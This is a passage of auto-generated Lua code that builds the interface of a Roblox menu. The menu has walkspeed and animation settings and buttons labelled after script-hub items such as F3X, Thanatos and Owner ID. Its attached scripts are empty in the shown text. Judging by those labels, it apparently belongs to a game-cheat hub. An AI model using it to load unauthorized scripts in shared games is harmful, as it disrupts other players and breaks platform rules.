G2L["69"]["BorderSizePixel"] = 3;
G2L["69"]["TextSize"] = 14;
G2L["69"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["69"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["69"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["69"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["69"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["69"]["Text"] = [[Animation ID]];
G2L["69"]["Name"] = [[Label]];
G2L["69"]["Position"] = UDim2.new(0, 0, 0.22449, 0);


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["6a"] = Instance.new("TextLabel", G2L["65"]);
G2L["6a"]["BorderSizePixel"] = 3;
G2L["6a"]["TextSize"] = 14;
G2L["6a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["6a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6a"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["6a"]["Text"] = [[Animation Speed]];
G2L["6a"]["Name"] = [[Label]];
G2L["6a"]["Position"] = UDim2.new(0, 0, 0.44898, 0);


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["6b"] = Instance.new("TextLabel", G2L["65"]);
G2L["6b"]["BorderSizePixel"] = 3;
G2L["6b"]["TextSize"] = 14;
G2L["6b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["6b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6b"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["6b"]["Text"] = [[Walkspeed Amount]];
G2L["6b"]["Name"] = [[Label]];
G2L["6b"]["Position"] = UDim2.new(0, 0, 0.67347, 0);


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.walkid
G2L["6c"] = Instance.new("TextBox", G2L["65"]);
G2L["6c"]["Name"] = [[walkid]];
G2L["6c"]["BorderSizePixel"] = 3;
G2L["6c"]["TextSize"] = 14;
G2L["6c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6c"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6c"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["6c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6c"]["Text"] = [[50]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.gee
G2L["6d"] = Instance.new("TextBox", G2L["65"]);
G2L["6d"]["Name"] = [[gee]];
G2L["6d"]["BorderSizePixel"] = 3;
G2L["6d"]["TextSize"] = 14;
G2L["6d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6d"]["Size"] = UDim2.new(0.333, 0, 0, 30);
G2L["6d"]["Position"] = UDim2.new(0, 49, 0, 33);
G2L["6d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6d"]["Text"] = [[255]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.bee
G2L["6e"] = Instance.new("TextBox", G2L["65"]);
G2L["6e"]["Name"] = [[bee]];
G2L["6e"]["BorderSizePixel"] = 3;
G2L["6e"]["TextSize"] = 14;
G2L["6e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6e"]["Size"] = UDim2.new(0.315, 0, 0, 30);
G2L["6e"]["Position"] = UDim2.new(0, 101, 0, 33);
G2L["6e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6e"]["Text"] = [[0]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.asid
G2L["6f"] = Instance.new("TextBox", G2L["65"]);
G2L["6f"]["Name"] = [[asid]];
G2L["6f"]["BorderSizePixel"] = 3;
G2L["6f"]["TextSize"] = 14;
G2L["6f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6f"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6f"]["Position"] = UDim2.new(0, 0, 0, 165);
G2L["6f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6f"]["Text"] = [[1]];


-- StarterGui.CoolGui.Frame.Page2
G2L["70"] = Instance.new("Frame", G2L["2"]);
G2L["70"]["Visible"] = false;
G2L["70"]["ZIndex"] = 2;
G2L["70"]["BorderSizePixel"] = 3;
G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["70"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["70"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["70"]["Name"] = [[Page2]];


-- StarterGui.CoolGui.Frame.Page2.PageLabel
G2L["71"] = Instance.new("TextLabel", G2L["70"]);
G2L["71"]["ZIndex"] = 2;
G2L["71"]["BorderSizePixel"] = 3;
G2L["71"]["TextSize"] = 14;
G2L["71"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["71"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["71"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["71"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["71"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["71"]["Text"] = [[Page 2]];
G2L["71"]["Name"] = [[PageLabel]];
G2L["71"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Page2.Section2
G2L["72"] = Instance.new("Frame", G2L["70"]);
G2L["72"]["Active"] = true;
G2L["72"]["BorderSizePixel"] = 3;
G2L["72"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["72"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["72"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["72"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["72"]["Name"] = [[Section2]];


-- StarterGui.CoolGui.Frame.Page2.Section2.SectionTitle
G2L["73"] = Instance.new("TextLabel", G2L["72"]);
G2L["73"]["BorderSizePixel"] = 3;
G2L["73"]["TextSize"] = 14;
G2L["73"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["73"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["73"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["73"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["73"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["73"]["Text"] = [[Gear/Tools]];
G2L["73"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["74"] = Instance.new("TextButton", G2L["72"]);
G2L["74"]["BorderSizePixel"] = 3;
G2L["74"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["74"]["TextSize"] = 14;
G2L["74"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["74"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["74"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["74"]["Name"] = [[Button]];
G2L["74"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["74"]["Text"] = [[F3X]];
G2L["74"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["75"] = Instance.new("LocalScript", G2L["74"]);



-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["76"] = Instance.new("TextButton", G2L["72"]);
G2L["76"]["BorderSizePixel"] = 3;
G2L["76"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["76"]["TextSize"] = 14;
G2L["76"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["76"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["76"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["76"]["Name"] = [[Button]];
G2L["76"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["76"]["Text"] = [[Gravity Gun]];
G2L["76"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["77"] = Instance.new("LocalScript", G2L["76"]);



-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["78"] = Instance.new("TextButton", G2L["72"]);
G2L["78"]["BorderSizePixel"] = 3;
G2L["78"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["78"]["TextSize"] = 14;
G2L["78"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["78"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["78"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["78"]["Name"] = [[Button]];
G2L["78"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["78"]["Text"] = [[Jerk Off]];
G2L["78"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["79"] = Instance.new("LocalScript", G2L["78"]);



-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["7a"] = Instance.new("TextButton", G2L["72"]);
G2L["7a"]["BorderSizePixel"] = 3;
G2L["7a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7a"]["TextSize"] = 14;
G2L["7a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["7a"]["Name"] = [[Button]];
G2L["7a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["7a"]["Text"] = [[Punch]];
G2L["7a"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["7b"] = Instance.new("LocalScript", G2L["7a"]);



-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["7c"] = Instance.new("TextButton", G2L["72"]);
G2L["7c"]["BorderSizePixel"] = 3;
G2L["7c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7c"]["TextSize"] = 14;
G2L["7c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["7c"]["Name"] = [[Button]];
G2L["7c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["7c"]["Text"] = [[Linked Sword]];
G2L["7c"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["7d"] = Instance.new("LocalScript", G2L["7c"]);



-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["7e"] = Instance.new("TextButton", G2L["72"]);
G2L["7e"]["TextWrapped"] = true;
G2L["7e"]["BorderSizePixel"] = 3;
G2L["7e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7e"]["TextSize"] = 14;
G2L["7e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["7e"]["Name"] = [[Button]];
G2L["7e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["7e"]["Text"] = [[Building Tools]];
G2L["7e"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["7f"] = Instance.new("LocalScript", G2L["7e"]);



-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["80"] = Instance.new("TextButton", G2L["72"]);
G2L["80"]["BorderSizePixel"] = 3;
G2L["80"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["80"]["TextSize"] = 14;
G2L["80"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["80"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["80"]["Size"] = UDim2.new(0.475, 0, 0, 30);
G2L["80"]["Name"] = [[Button]];
G2L["80"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["80"]["Text"] = [[Draw3D]];
G2L["80"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["81"] = Instance.new("LocalScript", G2L["80"]);



-- StarterGui.CoolGui.Frame.Page2.Section1
G2L["82"] = Instance.new("Frame", G2L["70"]);
G2L["82"]["Active"] = true;
G2L["82"]["BorderSizePixel"] = 3;
G2L["82"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["82"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["82"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["82"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["82"]["Name"] = [[Section1]];


-- StarterGui.CoolGui.Frame.Page2.Section1.SectionTitle
G2L["83"] = Instance.new("TextLabel", G2L["82"]);
G2L["83"]["BorderSizePixel"] = 3;
G2L["83"]["TextSize"] = 14;
G2L["83"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["83"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["83"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["83"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["83"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["83"]["Text"] = [[Weapon Scripts]];
G2L["83"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["84"] = Instance.new("TextButton", G2L["82"]);
G2L["84"]["BorderSizePixel"] = 3;
G2L["84"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["84"]["TextSize"] = 14;
G2L["84"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["84"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["84"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["84"]["Name"] = [[Button]];
G2L["84"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["84"]["Text"] = [[Thanatos]];
G2L["84"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["85"] = Instance.new("LocalScript", G2L["84"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["86"] = Instance.new("TextButton", G2L["82"]);
G2L["86"]["BorderSizePixel"] = 3;
G2L["86"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["86"]["TextSize"] = 14;
G2L["86"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["86"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["86"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["86"]["Name"] = [[Button]];
G2L["86"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["86"]["Text"] = [[Drage]];
G2L["86"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["87"] = Instance.new("LocalScript", G2L["86"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["88"] = Instance.new("TextButton", G2L["82"]);
G2L["88"]["TextWrapped"] = true;
G2L["88"]["BorderSizePixel"] = 3;
G2L["88"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["88"]["TextSize"] = 14;
G2L["88"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["88"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["88"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["88"]["Name"] = [[Button]];
G2L["88"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["88"]["Text"] = [[Shedletsky Rage]];
G2L["88"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["89"] = Instance.new("LocalScript", G2L["88"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["8a"] = Instance.new("TextButton", G2L["82"]);
G2L["8a"]["TextWrapped"] = true;
G2L["8a"]["BorderSizePixel"] = 3;
G2L["8a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8a"]["TextSize"] = 14;
G2L["8a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["8a"]["Name"] = [[Button]];
G2L["8a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["8a"]["Text"] = [[Illuminati Laser]];
G2L["8a"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["8b"] = Instance.new("LocalScript", G2L["8a"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["8c"] = Instance.new("TextButton", G2L["82"]);
G2L["8c"]["BorderSizePixel"] = 3;
G2L["8c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8c"]["TextSize"] = 14;
G2L["8c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["8c"]["Name"] = [[Button]];
G2L["8c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["8c"]["Text"] = [[Staff]];
G2L["8c"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["8d"] = Instance.new("LocalScript", G2L["8c"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["8e"] = Instance.new("TextButton", G2L["82"]);
G2L["8e"]["BorderSizePixel"] = 3;
G2L["8e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8e"]["TextSize"] = 14;
G2L["8e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["8e"]["Name"] = [[Button]];
G2L["8e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["8e"]["Text"] = [[Lua Hammer]];
G2L["8e"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["8f"] = Instance.new("LocalScript", G2L["8e"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["90"] = Instance.new("TextButton", G2L["82"]);
G2L["90"]["BorderSizePixel"] = 3;
G2L["90"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["90"]["TextSize"] = 14;
G2L["90"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["90"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["90"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["90"]["Name"] = [[Button]];
G2L["90"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["90"]["Text"] = [[Lightsaber]];
G2L["90"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["91"] = Instance.new("LocalScript", G2L["90"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["92"] = Instance.new("TextButton", G2L["82"]);
G2L["92"]["BorderSizePixel"] = 3;
G2L["92"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["92"]["TextSize"] = 14;
G2L["92"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["92"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["92"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["92"]["Name"] = [[Button]];
G2L["92"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["92"]["Text"] = [[John Doe]];
G2L["92"]["Position"] = UDim2.new(0, 73, 0, 132);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["93"] = Instance.new("LocalScript", G2L["92"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["94"] = Instance.new("TextButton", G2L["82"]);
G2L["94"]["BorderSizePixel"] = 3;
G2L["94"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["94"]["TextSize"] = 14;
G2L["94"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["94"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["94"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["94"]["Name"] = [[Button]];
G2L["94"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["94"]["Text"] = [[Shotgun]];
G2L["94"]["Position"] = UDim2.new(0, 73, 0, 165);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["95"] = Instance.new("LocalScript", G2L["94"]);



-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["96"] = Instance.new("TextButton", G2L["82"]);
G2L["96"]["TextWrapped"] = true;
G2L["96"]["BorderSizePixel"] = 3;
G2L["96"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["96"]["TextSize"] = 14;
G2L["96"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["96"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["96"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["96"]["Name"] = [[Button]];
G2L["96"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["96"]["Text"] = [[Thomas the Dank Engine]];
G2L["96"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["97"] = Instance.new("LocalScript", G2L["96"]);



-- StarterGui.CoolGui.Frame.Page3
G2L["98"] = Instance.new("Frame", G2L["2"]);
G2L["98"]["Visible"] = false;
G2L["98"]["ZIndex"] = 2;
G2L["98"]["BorderSizePixel"] = 3;
G2L["98"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["98"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["98"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["98"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["98"]["Name"] = [[Page3]];


-- StarterGui.CoolGui.Frame.Page3.PageLabel
G2L["99"] = Instance.new("TextLabel", G2L["98"]);
G2L["99"]["ZIndex"] = 2;
G2L["99"]["BorderSizePixel"] = 3;
G2L["99"]["TextSize"] = 14;
G2L["99"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["99"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["99"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["99"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["99"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["99"]["Text"] = [[Page 3]];
G2L["99"]["Name"] = [[PageLabel]];
G2L["99"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Page3.Section2
G2L["9a"] = Instance.new("Frame", G2L["98"]);
G2L["9a"]["Active"] = true;
G2L["9a"]["BorderSizePixel"] = 3;
G2L["9a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9a"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["9a"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["9a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["9a"]["Name"] = [[Section2]];


-- StarterGui.CoolGui.Frame.Page3.Section2.SectionTitle
G2L["9b"] = Instance.new("TextLabel", G2L["9a"]);
G2L["9b"]["BorderSizePixel"] = 3;
G2L["9b"]["TextSize"] = 14;
G2L["9b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["9b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["9b"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9b"]["Text"] = [[Misc.]];
G2L["9b"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["9c"] = Instance.new("TextButton", G2L["9a"]);
G2L["9c"]["BorderSizePixel"] = 3;
G2L["9c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9c"]["TextSize"] = 14;
G2L["9c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["9c"]["Name"] = [[Button]];
G2L["9c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9c"]["Text"] = [[Owner ID]];
G2L["9c"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["9d"] = Instance.new("LocalScript", G2L["9c"]);



-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["9e"] = Instance.new("TextButton", G2L["9a"]);
G2L["9e"]["BorderSizePixel"] = 3;
G2L["9e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9e"]["TextSize"] = 14;
G2L["9e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["9e"]["Name"] = [[Button]];
G2L["9e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9e"]["Text"] = [[iOrb]];
G2L["9e"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["9f"] = Instance.new("LocalScript", G2L["9e"]);



-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["a0"] = Instance.new("TextButton", G2L["9a"]);
G2L["a0"]["BorderSizePixel"] = 3;
G2L["a0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a0"]["TextSize"] = 14;
G2L["a0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
